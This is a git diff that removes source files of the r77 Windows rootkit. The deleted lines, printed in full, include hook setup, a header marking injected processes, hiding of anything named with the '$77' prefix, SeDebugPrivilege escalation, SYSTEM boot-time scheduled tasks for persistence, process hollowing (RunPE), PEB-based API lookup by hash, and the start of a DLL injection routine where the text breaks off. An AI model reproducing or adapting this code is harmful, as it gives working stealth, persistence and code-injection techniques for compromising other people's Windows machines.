- static LPWSTR FileInformationGetName(LPVOID fileInformation, nt::FILE_INFORMATION_CLASS fileInformationClass, LPWSTR name);
- static ULONG FileInformationGetNextEntryOffset(LPVOID fileInformation, nt::FILE_INFORMATION_CLASS fileInformationClass);
- static void FileInformationSetNextEntryOffset(LPVOID fileInformation, nt::FILE_INFORMATION_CLASS fileInformationClass, ULONG value);
- static PWCHAR KeyInformationGetName(LPVOID keyInformation, nt::KEY_INFORMATION_CLASS keyInformationClass);
- static PWCHAR KeyValueInformationGetName(LPVOID keyValueInformation, nt::KEY_VALUE_INFORMATION_CLASS keyValueInformationClass);
- static void ProcessEnumServices(ServiceStructType type, LPBYTE services, LPDWORD servicesReturned);
-public:
- ///
- /// Installs hooks.
- ///
- static void Initialize();
- ///
- /// Unhooks functions.
- ///
- static void Shutdown();
-};
\ No newline at end of file
diff --git a/src/r77/Register.cpp b/src/r77/Register.cpp
deleted file mode 100644
index ca558d4..0000000
--- a/src/r77/Register.cpp
+++ /dev/null
@@ -1,46 +0,0 @@
-#include "r77.h"
-
-bool Register::Initialize()
-{
- // Store the r77 header in the main module.
- LPBYTE module = (LPBYTE)GetModuleHandleW(NULL);
- if (module)
- {
- // The r77 header is written to the DOS stub.
- LPWORD signature = (LPWORD) & module[sizeof(IMAGE_DOS_HEADER)];
-
- // If this process already has an r77 signature, indicate that the DLL should be detached by returning false.
- if (*signature == R77_SIGNATURE || *signature == R77_SERVICE_SIGNATURE || *signature == R77_HELPER_SIGNATURE) return false;
-
- DWORD oldProtect;
- if (VirtualProtectEx(GetCurrentProcess(), module, 512, PAGE_READWRITE, &oldProtect))
- {
- // The current process is now marked as injected and therefore, cannot be injected again.
- *signature = R77_SIGNATURE;
-
- // Write a function pointer to Rootkit::Detach that can be invoked using NtCreateThreadEx to detach r77 from this process.
- *(PDWORD64)&module[sizeof(IMAGE_DOS_HEADER) + 2] = (DWORD64)Rootkit::Detach;
-
- VirtualProtectEx(GetCurrentProcess(), module, 512, oldProtect, &oldProtect);
- }
- }
-
- return true;
-}
-void Register::Shutdown()
-{
- LPBYTE module = (LPBYTE)GetModuleHandleW(NULL);
- if (module)
- {
- DWORD oldProtect;
- if (VirtualProtectEx(GetCurrentProcess(), module, 512, PAGE_READWRITE, &oldProtect))
- {
- // Remove the r77 header by overwriting the DOS stub.
- // Even if this sequence of bytes doesn't match the original DOS stub, it does not affect the process.
- *(LPWORD)&module[sizeof(IMAGE_DOS_HEADER)] = 0x1f0e;
- *(PDWORD64)&module[sizeof(IMAGE_DOS_HEADER) + 2] = 0xb821cd09b4000eba;
-
- VirtualProtectEx(GetCurrentProcess(), module, 512, oldProtect, &oldProtect);
- }
- }
-}
\ No newline at end of file
diff --git a/src/r77/Register.h b/src/r77/Register.h
deleted file mode 100644
index 97602fb..0000000
--- a/src/r77/Register.h
+++ /dev/null
@@ -1,19 +0,0 @@
-///
-/// Class that writes the r77 header to the injected process.
-///
-class Register
-{
-public:
- ///
- /// Register r77 by writing the r77 header.
- ///
- ///
- /// true, if the header was written and r77 can run;
- /// false, if r77 should detach from this process.
- ///
- static bool Initialize();
- ///
- /// Removes the r77 header from this process.
- ///
- static void Shutdown();
-};
\ No newline at end of file
diff --git a/src/r77/Rootkit.cpp b/src/r77/Rootkit.cpp
deleted file mode 100644
index 3476bae..0000000
--- a/src/r77/Rootkit.cpp
+++ /dev/null
@@ -1,62 +0,0 @@
-#include "r77.h"
-
-bool Rootkit::IsInitialized = false;
-HINSTANCE Rootkit::Module = NULL;
-
-bool Rootkit::Initialize(const HINSTANCE &module)
-{
- InitializeApi(0);
-
- WCHAR executablePath[MAX_PATH + 1];
- if (!SUCCEEDED(GetModuleFileNameW(NULL, executablePath, MAX_PATH))) return false;
-
- // If the process starts with $77, do not load r77.
- if (HasPrefix(PathFindFileNameW(executablePath))) return false;
-
- // Write the r77 header.
- if (!Register::Initialize()) return false;
-
- if (!IsInitialized)
- {
- IsInitialized = true;
- Module = module;
-
- // Initialize configuration system.
- Config::Initialize();
-
- // Install hooks.
- Hooks::Initialize();
- }
-
- return true;
-}
-void Rootkit::Shutdown()
-{
- if (IsInitialized)
- {
- IsInitialized = false;
-
- // Remove the r77 header.
- Register::Shutdown();
-
- // Uninitialize configuration system.
- Config::Shutdown();
-
- // Unhook functions.
- Hooks::Shutdown();
- }
-}
-void Rootkit::Detach()
-{
- Shutdown();
- FreeLibraryAndExitThread(Module, 0);
-}
-
-bool Rootkit::HasPrefix(LPCWSTR str)
-{
- return str && !_wcsnicmp(str, HIDE_PREFIX, HIDE_PREFIX_LENGTH);
-}
-bool Rootkit::HasPrefix(UNICODE_STRING str)
-{
- return str.Buffer && str.Length / sizeof(WCHAR) >= HIDE_PREFIX_LENGTH && !_wcsnicmp(str.Buffer, HIDE_PREFIX, HIDE_PREFIX_LENGTH);
-}
\ No newline at end of file
diff --git a/src/r77/Rootkit.h b/src/r77/Rootkit.h
deleted file mode 100644
index 3cdc7e4..0000000
--- a/src/r77/Rootkit.h
+++ /dev/null
@@ -1,48 +0,0 @@
-///
-/// Main entry point for r77. Initialize and Shutdown should be called by DllMain.
-///
-class Rootkit
-{
-private:
- static bool IsInitialized;
- static HINSTANCE Module;
-public:
- ///
- /// Initializes r77, writes r77 header and installs hooks.
- /// This function returns false, if r77 is already injected, or if this process is either the r77 service or a helper process, or the process starts with $77.
- ///
- /// The module of the injected DLL.
- ///
- /// true, if r77 was successfully loaded;
- /// otherwise, false.
- ///
- static bool Initialize(const HINSTANCE &module);
- ///
- /// Detaches r77 from this process.
- ///
- static void Shutdown();
- ///
- /// A function that can be invoked using NtCreateThreadEx to detach r77 from this process.
- /// The address of this function is written to the r77 header.
- ///
- static void Detach();
-
- ///
- /// Determines whether a string is hidden by prefix.
- ///
- /// The unicode string to be checked.
- ///
- /// true, if this string is hidden by prefix;
- /// otherwise, false.
- ///
- static bool HasPrefix(LPCWSTR str);
- ///
- /// Determines whether a string is hidden by prefix.
- ///
- /// The unicode string to be checked.
- ///
- /// true, if this string is hidden by prefix;
- /// otherwise, false.
- ///
- static bool HasPrefix(UNICODE_STRING str);
-};
\ No newline at end of file
diff --git a/src/r77/r77.h b/src/r77/r77.h
deleted file mode 100644
index 7e8b4bf..0000000
--- a/src/r77/r77.h
+++ /dev/null
@@ -1,8 +0,0 @@
-#pragma comment(lib, "detours.lib")
-
-#include "../r77api.h"
-#include "detours.h"
-#include "Register.h"
-#include "Config.h"
-#include "Hooks.h"
-#include "Rootkit.h"
\ No newline at end of file
diff --git a/src/r77api.cpp b/src/r77api.cpp
deleted file mode 100644
index 31cc56e..0000000
--- a/src/r77api.cpp
+++ /dev/null
@@ -1,1689 +0,0 @@
-#include "r77api.h"
-
-VOID InitializeApi(DWORD flags)
-{
- if (flags & INITIALIZE_API_SRAND) srand((unsigned int)time(0));
- if (flags & INITIALIZE_API_DEBUG_PRIVILEGE) EnabledDebugPrivilege();
-}
-
-VOID RandomString(PWCHAR str, DWORD length)
-{
- for (DWORD i = 0; i < length; i++)
- {
- str[i] = L"0123456789abcdef"[rand() * 16 / RAND_MAX];
- }
-
- str[length] = L'\0';
-}
-LPCSTR ConvertStringToAString(LPCWSTR str)
-{
- PCHAR result = NULL;
-
- int length = WideCharToMultiByte(CP_ACP, 0, str, -1, NULL, 0, NULL, NULL);
- if (length > 0)
- {
- result = new CHAR[length];
- if (WideCharToMultiByte(CP_ACP, 0, str, -1, result, length, NULL, NULL) <= 0)
- {
- delete[] result;
- result = NULL;
- }
- }
-
- return result;
-}
-LPWSTR ConvertUnicodeStringToString(UNICODE_STRING str)
-{
- if (str.Buffer)
- {
- PWCHAR buffer = new WCHAR[str.Length / sizeof(WCHAR) + 1];
- wmemcpy(buffer, str.Buffer, str.Length / sizeof(WCHAR));
- buffer[str.Length / sizeof(WCHAR)] = L'\0';
-
- return buffer;
- }
- else
- {
- return NULL;
- }
-}
-BOOL Is64BitOperatingSystem()
-{
- BOOL wow64;
- return sizeof(LPVOID) == 8 || IsWow64Process(GetCurrentProcess(), &wow64) && wow64;
-}
-BOOL Is64BitProcess(DWORD processId, LPBOOL is64Bit)
-{
- BOOL result = FALSE;
-
- if (Is64BitOperatingSystem())
- {
- HANDLE process = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, processId);
- if (process)
- {
- BOOL wow64;
- if (IsWow64Process(process, &wow64))
- {
- *is64Bit = wow64 ? FALSE : TRUE;
- result = TRUE;
- }
-
- CloseHandle(process);
- }
- }
- else
- {
- *is64Bit = FALSE;
- result = TRUE;
- }
-
- return result;
-}
-LPVOID GetFunction(LPCSTR dll, LPCSTR function)
-{
- HMODULE module = GetModuleHandleA(dll);
- return module ? (LPVOID)GetProcAddress(module, function) : NULL;
-}
-BOOL GetProcessIntegrityLevel(HANDLE process, LPDWORD integrityLevel)
-{
- BOOL result = FALSE;
-
- HANDLE token;
- if (OpenProcessToken(process, TOKEN_QUERY, &token))
- {
- DWORD tokenSize;
- if (!GetTokenInformation(token, TOKEN_INFORMATION_CLASS::TokenIntegrityLevel, NULL, 0, &tokenSize) && GetLastError() == ERROR_INSUFFICIENT_BUFFER)
- {
- PTOKEN_MANDATORY_LABEL tokenMandatoryLabel = (PTOKEN_MANDATORY_LABEL)LocalAlloc(0, tokenSize);
- if (tokenMandatoryLabel)
- {
- if (GetTokenInformation(token, TOKEN_INFORMATION_CLASS::TokenIntegrityLevel, tokenMandatoryLabel, tokenSize, &tokenSize))
- {
- *integrityLevel = *GetSidSubAuthority(tokenMandatoryLabel->Label.Sid, *GetSidSubAuthorityCount(tokenMandatoryLabel->Label.Sid) - 1);
- result = TRUE;
- }
-
- LocalFree(tokenMandatoryLabel);
- }
- }
-
- CloseHandle(token);
- }
-
- return result;
-}
-BOOL GetProcessFileName(DWORD processId, BOOL fullPath, LPWSTR fileName, DWORD fileNameLength)
-{
- BOOL result = FALSE;
-
- HANDLE process = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processId);
- if (process)
- {
- WCHAR path[MAX_PATH + 1];
- if (GetModuleFileNameExW(process, NULL, path, MAX_PATH))
- {
- PWCHAR resultFileName = fullPath ? path : PathFindFileNameW(path);
- if ((DWORD)lstrlenW(resultFileName) <= fileNameLength)
- {
- lstrcpyW(fileName, resultFileName);
- result = TRUE;
- }
- }
-
- CloseHandle(process);
- }
-
- return result;
-}
-BOOL GetProcessUserName(HANDLE process, PWCHAR name, LPDWORD nameLength)
-{
- BOOL result = FALSE;
-
- HANDLE token;
- if (OpenProcessToken(process, TOKEN_QUERY, &token))
- {
- DWORD tokenSize = 0;
- if (!GetTokenInformation(token, TOKEN_INFORMATION_CLASS::TokenUser, NULL, 0, &tokenSize) && GetLastError() == ERROR_INSUFFICIENT_BUFFER)
- {
- PTOKEN_USER tokenUser = (PTOKEN_USER)LocalAlloc(0, tokenSize);
- if (tokenUser)
- {
- if (GetTokenInformation(token, TOKEN_INFORMATION_CLASS::TokenUser, tokenUser, tokenSize, &tokenSize))
- {
- WCHAR domain[256];
- DWORD domainLength = 256;
- SID_NAME_USE sidType;
- result = LookupAccountSidW(NULL, tokenUser->User.Sid, name, nameLength, domain, &domainLength, &sidType);
- }
-
- LocalFree(tokenUser);
- }
- }
-
- CloseHandle(token);
- }
-
- return result;
-}
-BOOL EnabledDebugPrivilege()
-{
- BOOL result = FALSE;
-
- HANDLE process = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, GetCurrentProcessId());
- if (process)
- {
- HANDLE token;
- if (OpenProcessToken(process, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token))
- {
- LUID luid;
- if (LookupPrivilegeValueW(NULL, L"SeDebugPrivilege", &luid))
- {
- TOKEN_PRIVILEGES tokenPrivileges;
- tokenPrivileges.PrivilegeCount = 1;
- tokenPrivileges.Privileges[0].Luid = luid;
- tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
-
- if (AdjustTokenPrivileges(token, FALSE, &tokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL))
- {
- result = GetLastError() != ERROR_NOT_ALL_ASSIGNED;
- }
- }
- }
-
- CloseHandle(process);
- }
-
- return result;
-}
-BOOL GetResource(DWORD resourceID, PCSTR type, LPBYTE *data, LPDWORD size)
-{
- HRSRC resource = FindResourceA(NULL, MAKEINTRESOURCEA(resourceID), type);
- if (resource)
- {
- *size = SizeofResource(NULL, resource);
- if (*size)
- {
- HGLOBAL resourceData = LoadResource(NULL, resource);
- if (resourceData)
- {
- *data = (LPBYTE)LockResource(resourceData);
- return TRUE;
- }
- }
- }
-
- return FALSE;
-}
-BOOL GetPathFromHandle(HANDLE file, LPWSTR fileName, DWORD fileNameLength)
-{
- BOOL result = FALSE;
-
- WCHAR path[MAX_PATH + 1];
- if (GetFinalPathNameByHandleW(file, path, MAX_PATH, FILE_NAME_NORMALIZED) > 0 && !_wcsnicmp(path, L"\\\\?\\", 4))
- {
- PWCHAR resultFileName = &path[4];
- if ((DWORD)lstrlenW(resultFileName) <= fileNameLength)
- {
- lstrcpyW(fileName, resultFileName);
- result = TRUE;
- }
- }
-
- return result;
-}
-BOOL ReadFileContent(LPCWSTR path, LPBYTE *data, LPDWORD size)
-{
- BOOL result = FALSE;
-
- HANDLE file = CreateFileW(path, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
- if (file != INVALID_HANDLE_VALUE)
- {
- DWORD fileSize = GetFileSize(file, NULL);
- if (fileSize != INVALID_FILE_SIZE)
- {
- LPBYTE fileData = new BYTE[fileSize];
-
- DWORD bytesRead;
- if (ReadFile(file, fileData, fileSize, &bytesRead, NULL) && bytesRead == fileSize)
- {
- *data = fileData;
- if (size) *size = fileSize;
- result = TRUE;
- }
- else
- {
- delete[] fileData;
- }
- }
-
- CloseHandle(file);
- }
-
- return result;
-}
-BOOL ReadFileStringW(HANDLE file, PWCHAR str, DWORD length)
-{
- BOOL result = FALSE;
-
- for (DWORD count = 0; count < length; count++)
- {
- DWORD bytesRead;
- if (!ReadFile(file, &str[count], sizeof(WCHAR), &bytesRead, NULL) || bytesRead != sizeof(WCHAR))
- {
- result = FALSE;
- break;
- }
-
- if (str[count] == L'\0')
- {
- result = TRUE;
- break;
- }
- }
-
- return result;
-}
-BOOL WriteFileContent(LPCWSTR path, LPBYTE data, DWORD size)
-{
- BOOL result = FALSE;
-
- HANDLE file = CreateFileW(path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
- if (file != INVALID_HANDLE_VALUE)
- {
- DWORD bytesWritten;
- result = WriteFile(file, data, size, &bytesWritten, NULL);
- CloseHandle(file);
- }
-
- return result;
-}
-BOOL CreateTempFile(LPBYTE file, DWORD fileSize, LPCWSTR extension, LPWSTR resultPath)
-{
- BOOL result = FALSE;
- WCHAR tempPath[MAX_PATH + 1];
-
- if (GetTempPathW(MAX_PATH, tempPath))
- {
- WCHAR fileName[MAX_PATH + 1];
- RandomString(fileName, 8);
- lstrcatW(fileName, L".");
- lstrcatW(fileName, extension);
-
- if (PathCombineW(resultPath, tempPath, fileName) && WriteFileContent(resultPath, file, fileSize))
- {
- result = TRUE;
- }
- }
-
- return result;
-}
-BOOL ExecuteFile(LPCWSTR path, BOOL deleteFile)
-{
- BOOL result = FALSE;
-
- STARTUPINFOW startupInfo;
- PROCESS_INFORMATION processInformation;
- ZeroMemory(&startupInfo, sizeof(startupInfo));
- ZeroMemory(&processInformation, sizeof(processInformation));
- startupInfo.cb = sizeof(startupInfo);
-
- if (CreateProcessW(path, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInformation))
- {
- WaitForSingleObject(processInformation.hProcess, 10000);
- CloseHandle(processInformation.hProcess);
- CloseHandle(processInformation.hThread);
-
- result = TRUE;
- }
-
- if (deleteFile)
- {
- for (int i = 0; i < 10; i++)
- {
- if (DeleteFileW(path)) break;
- Sleep(100);
- }
- }
-
- return result;
-}
-BOOL CreateScheduledTask(LPCWSTR name, LPCWSTR directory, LPCWSTR fileName, LPCWSTR arguments)
-{
- BOOL result = FALSE;
-
- if (SUCCEEDED(CoInitializeEx(NULL, COINIT_MULTITHREADED)))
- {
- HRESULT initializeSecurityResult = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, 0, NULL);
- if (SUCCEEDED(initializeSecurityResult) || initializeSecurityResult == RPC_E_TOO_LATE)
- {
- ITaskService *service = NULL;
- if (SUCCEEDED(CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, IID_ITaskService, (LPVOID*)&service)))
- {
- if (SUCCEEDED(service->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t())))
- {
- ITaskFolder *folder = NULL;
- if (SUCCEEDED(service->GetFolder(_bstr_t(L"\\"), &folder)))
- {
- ITaskDefinition *task = NULL;
- if (SUCCEEDED(service->NewTask(0, &task)))
- {
- ITaskSettings *settings = NULL;
- if (SUCCEEDED(task->get_Settings(&settings)))
- {
- if (SUCCEEDED(settings->put_StartWhenAvailable(VARIANT_TRUE)))
- {
- ITriggerCollection *triggerCollection = NULL;
- if (SUCCEEDED(task->get_Triggers(&triggerCollection)))
- {
- ITrigger *trigger = NULL;
- if (SUCCEEDED(triggerCollection->Create(TASK_TRIGGER_BOOT, &trigger)))
- {
- IBootTrigger *bootTrigger = NULL;
- if (SUCCEEDED(trigger->QueryInterface(IID_IBootTrigger, (LPVOID*)&bootTrigger)))
- {
- IActionCollection *actionCollection = NULL;
- if (SUCCEEDED(task->get_Actions(&actionCollection)))
- {
- IAction *action = NULL;
- if (SUCCEEDED(actionCollection->Create(TASK_ACTION_EXEC, &action)))
- {
- IExecAction *execAction = NULL;
- if (SUCCEEDED(action->QueryInterface(IID_IExecAction, (LPVOID*)&execAction)))
- {
- if (SUCCEEDED(execAction->put_WorkingDirectory(_bstr_t(directory))) &&
- SUCCEEDED(execAction->put_Path(_bstr_t(fileName))) &&
- SUCCEEDED(execAction->put_Arguments(_bstr_t(arguments))))
- {
- VARIANT password;
- password.vt = VT_EMPTY;
-
- IRegisteredTask *registeredTask = NULL;
- if (SUCCEEDED(folder->RegisterTaskDefinition(_bstr_t(name), task, TASK_CREATE_OR_UPDATE, _variant_t(L"SYSTEM"), password, TASK_LOGON_SERVICE_ACCOUNT, _variant_t(L""), ®isteredTask)))
- {
- result = TRUE;
-
- registeredTask->Release();
- }
- }
-
- execAction->Release();
- }
-
- action->Release();
- }
-
- actionCollection->Release();
- }
-
- bootTrigger->Release();
- }
-
- trigger->Release();
- }
-
- triggerCollection->Release();
- }
- }
-
- settings->Release();
- }
-
- task->Release();
- }
-
- folder->Release();
- }
- }
-
- service->Release();
- }
- }
-
- CoUninitialize();
- }
-
- return result;
-}
-BOOL RunScheduledTask(LPCWSTR name)
-{
- BOOL result = FALSE;
-
- if (SUCCEEDED(CoInitializeEx(NULL, COINIT_MULTITHREADED)))
- {
- HRESULT initializeSecurityResult = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, 0, NULL);
- if (SUCCEEDED(initializeSecurityResult) || initializeSecurityResult == RPC_E_TOO_LATE)
- {
- ITaskService *service = NULL;
- if (SUCCEEDED(CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, IID_ITaskService, (LPVOID*)&service)))
- {
- if (SUCCEEDED(service->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t())))
- {
- ITaskFolder *folder = NULL;
- if (SUCCEEDED(service->GetFolder(_bstr_t(L"\\"), &folder)))
- {
- IRegisteredTask *task = NULL;
- if (SUCCEEDED(folder->GetTask(_bstr_t(name), &task)))
- {
- VARIANT params;
- params.vt = VT_EMPTY;
-
- IRunningTask *runningTask = NULL;
- if (SUCCEEDED(task->Run(params, &runningTask)))
- {
- result = TRUE;
-
- runningTask->Release();
- }
-
- task->Release();
- }
-
- folder->Release();
- }
- }
-
- service->Release();
- }
- }
-
- CoUninitialize();
- }
-
- return result;
-}
-BOOL DeleteScheduledTask(LPCWSTR name)
-{
- BOOL result = FALSE;
-
- if (SUCCEEDED(CoInitializeEx(NULL, COINIT_MULTITHREADED)))
- {
- HRESULT initializeSecurityResult = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, 0, NULL);
- if (SUCCEEDED(initializeSecurityResult) || initializeSecurityResult == RPC_E_TOO_LATE)
- {
- ITaskService *service = NULL;
- if (SUCCEEDED(CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, IID_ITaskService, (LPVOID*)&service)))
- {
- if (SUCCEEDED(service->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t())))
- {
- ITaskFolder *folder = NULL;
- if (SUCCEEDED(service->GetFolder(_bstr_t(L"\\"), &folder)))
- {
- if (SUCCEEDED(folder->DeleteTask(_bstr_t(name), 0)))
- {
- result = TRUE;
- }
-
- folder->Release();
- }
- }
-
- service->Release();
- }
- }
-
- CoUninitialize();
- }
-
- return result;
-}
-HANDLE CreatePublicNamedPipe(LPCWSTR name)
-{
- // Get security attributes for "EVERYONE", so the named pipe is accessible to all processes.
-
- SID_IDENTIFIER_AUTHORITY authority = SECURITY_WORLD_SID_AUTHORITY;
- PSID everyoneSid;
- if (!AllocateAndInitializeSid(&authority, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, &everyoneSid)) return INVALID_HANDLE_VALUE;
-
- EXPLICIT_ACCESSW explicitAccess;
- ZeroMemory(&explicitAccess, sizeof(EXPLICIT_ACCESSW));
- explicitAccess.grfAccessPermissions = FILE_ALL_ACCESS;
- explicitAccess.grfAccessMode = SET_ACCESS;
- explicitAccess.grfInheritance = NO_INHERITANCE;
- explicitAccess.Trustee.TrusteeForm = TRUSTEE_IS_SID;
- explicitAccess.Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP;
- explicitAccess.Trustee.ptstrName = (LPWSTR)everyoneSid;
-
- PACL acl;
- if (SetEntriesInAclW(1, &explicitAccess, NULL, &acl) != ERROR_SUCCESS) return INVALID_HANDLE_VALUE;
-
- PSECURITY_DESCRIPTOR securityDescriptor = (PSECURITY_DESCRIPTOR)LocalAlloc(LPTR, SECURITY_DESCRIPTOR_MIN_LENGTH);
- if (!securityDescriptor ||
- !InitializeSecurityDescriptor(securityDescriptor, SECURITY_DESCRIPTOR_REVISION) ||
- !SetSecurityDescriptorDacl(securityDescriptor, TRUE, acl, FALSE)) return INVALID_HANDLE_VALUE;
-
- SECURITY_ATTRIBUTES securityAttributes;
- securityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES);
- securityAttributes.lpSecurityDescriptor = securityDescriptor;
- securityAttributes.bInheritHandle = FALSE;
-
- return CreateNamedPipeW(name, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 1024, 1024, NMPWAIT_USE_DEFAULT_WAIT, &securityAttributes);
-}
-
-BOOL IsExecutable64Bit(LPBYTE image, LPBOOL is64Bit)
-{
- PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(image + ((PIMAGE_DOS_HEADER)image)->e_lfanew);
-
- if (ntHeaders->Signature == IMAGE_NT_SIGNATURE)
- {
- switch (ntHeaders->OptionalHeader.Magic)
- {
- case 0x10b:
- *is64Bit = FALSE;
- return TRUE;
- case 0x20b:
- *is64Bit = TRUE;
- return TRUE;
- }
- }
-
- return FALSE;
-}
-LPVOID PebGetProcAddress(DWORD moduleHash, DWORD functionHash)
-{
-#ifdef _WIN64
- nt::PPEB_LDR_DATA peb = (nt::PPEB_LDR_DATA)((nt::PPEB)__readgsqword(0x60))->Ldr;
-#else
- nt::PPEB_LDR_DATA peb = (nt::PPEB_LDR_DATA)((nt::PPEB)__readfsdword(0x30))->Ldr;
-#endif
-
- nt::PLDR_DATA_TABLE_ENTRY firstPebEntry = (nt::PLDR_DATA_TABLE_ENTRY)peb->InMemoryOrderModuleList.Flink;
- nt::PLDR_DATA_TABLE_ENTRY pebEntry = firstPebEntry;
- do
- {
- // Find module by hash
- if (pebEntry->BaseDllName.Buffer && libc::strhashi((LPCSTR)pebEntry->BaseDllName.Buffer, pebEntry->BaseDllName.Length) == moduleHash)
- {
- LPBYTE dllBase = (LPBYTE)pebEntry->DllBase;
- PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(dllBase + ((PIMAGE_DOS_HEADER)dllBase)->e_lfanew);
- PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)(dllBase + ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
- LPDWORD nameDirectory = (LPDWORD)(dllBase + exportDirectory->AddressOfNames);
- LPWORD nameOrdinalDirectory = (LPWORD)(dllBase + exportDirectory->AddressOfNameOrdinals);
-
- // Find function by hash
- for (DWORD i = 0; i < exportDirectory->NumberOfNames; i++, nameDirectory++, nameOrdinalDirectory++)
- {
- if (libc::strhash((LPCSTR)(dllBase + *nameDirectory)) == functionHash)
- {
- return dllBase + *(LPDWORD)(dllBase + exportDirectory->AddressOfFunctions + *nameOrdinalDirectory * sizeof(DWORD));
- }
- }
-
- return NULL;
- }
- }
- while ((pebEntry = (nt::PLDR_DATA_TABLE_ENTRY)pebEntry->InMemoryOrderModuleList.Flink) != firstPebEntry);
-
- return NULL;
-}
-BOOL RunPE(LPCWSTR path, LPBYTE payload)
-{
- // For 32-bit (and 64-bit?) process hollowing, this needs to be attempted several times.
- // This is a workaround to the well known stability issue of process hollowing.
- for (DWORD i = 0; i < 5; i++)
- {
- DWORD processId = 0;
- PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(payload + ((PIMAGE_DOS_HEADER)payload)->e_lfanew);
-
- if (ntHeaders->Signature == IMAGE_NT_SIGNATURE)
- {
- PROCESS_INFORMATION processInformation;
- STARTUPINFOW startupInfo;
- ZeroMemory(&processInformation, sizeof(processInformation));
- ZeroMemory(&startupInfo, sizeof(startupInfo));
-
- if (CreateProcessW(path, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &startupInfo, &processInformation))
- {
- processId = processInformation.dwProcessId;
-
- //TODO: NtUnmapViewOfSection here
-
- LPVOID imageBase = VirtualAllocEx(processInformation.hProcess, (LPVOID)ntHeaders->OptionalHeader.ImageBase, ntHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
- if (imageBase && WriteProcessMemory(processInformation.hProcess, imageBase, payload, ntHeaders->OptionalHeader.SizeOfHeaders, NULL))
- {
- BOOL sectionsWritten = TRUE;
-
- for (int j = 0; j < ntHeaders->FileHeader.NumberOfSections; j++)
- {
- PIMAGE_SECTION_HEADER sectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)IMAGE_FIRST_SECTION(ntHeaders) + j * (ULONG_PTR)IMAGE_SIZEOF_SECTION_HEADER);
-
- if (!WriteProcessMemory(processInformation.hProcess, (LPBYTE)imageBase + sectionHeader->VirtualAddress, (LPBYTE)payload + sectionHeader->PointerToRawData, sectionHeader->SizeOfRawData, NULL))
- {
- sectionsWritten = FALSE;
- break;
- }
- }
-
- if (sectionsWritten)
- {
- LPCONTEXT context = (LPCONTEXT)VirtualAlloc(NULL, sizeof(CONTEXT), MEM_COMMIT, PAGE_READWRITE);
- if (context)
- {
- context->ContextFlags = CONTEXT_FULL;
-
- if (GetThreadContext(processInformation.hThread, context))
- {
-#ifdef _WIN64
- if (WriteProcessMemory(processInformation.hProcess, (LPVOID)(context->Rdx + sizeof(LPVOID) * 2), &ntHeaders->OptionalHeader.ImageBase, sizeof(LPVOID), NULL))
- {
- context->Rcx = (DWORD64)imageBase + ntHeaders->OptionalHeader.AddressOfEntryPoint;
- if (SetThreadContext(processInformation.hThread, context) &&
- ResumeThread(processInformation.hThread) != -1)
- {
- return TRUE;
- }
- }
-#else
- if (WriteProcessMemory(processInformation.hProcess, (LPVOID)(context->Ebx + sizeof(LPVOID) * 2), &ntHeaders->OptionalHeader.ImageBase, sizeof(LPVOID), NULL))
- {
- context->Eax = (DWORD)imageBase + ntHeaders->OptionalHeader.AddressOfEntryPoint;
- if (SetThreadContext(processInformation.hThread, context) &&
- ResumeThread(processInformation.hThread) != -1)
- {
- return TRUE;
- }
- }
-#endif
- }
- }
- }
- }
- }
- }
-
- if (processId != 0)
- {
- HANDLE process = OpenProcess(PROCESS_TERMINATE, FALSE, processId);
- if (process)
- {
- TerminateProcess(process, 0);
- }
- }
- }
-
- return FALSE;
-}
-BOOL InjectDll(DWORD processId, LPBYTE dll, DWORD dllSize, BOOL fast)
-{
- BOOL result = FALSE;
-
- // Unlike with "regular" DLL injection, the bitness must be checked explicitly.
- BOOL is64Bit;
- if (Is64BitProcess(processId, &is64Bit) && (is64Bit == TRUE) == (sizeof(LPVOID) == 8))
- {
- HANDLE process = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, processId);
- if (process)
- {
- // Check, if the executable name is on the exclusion list (see: PROCESS_EXCLUSIONS)
- if (!IsProcessExcluded(processId))
- {
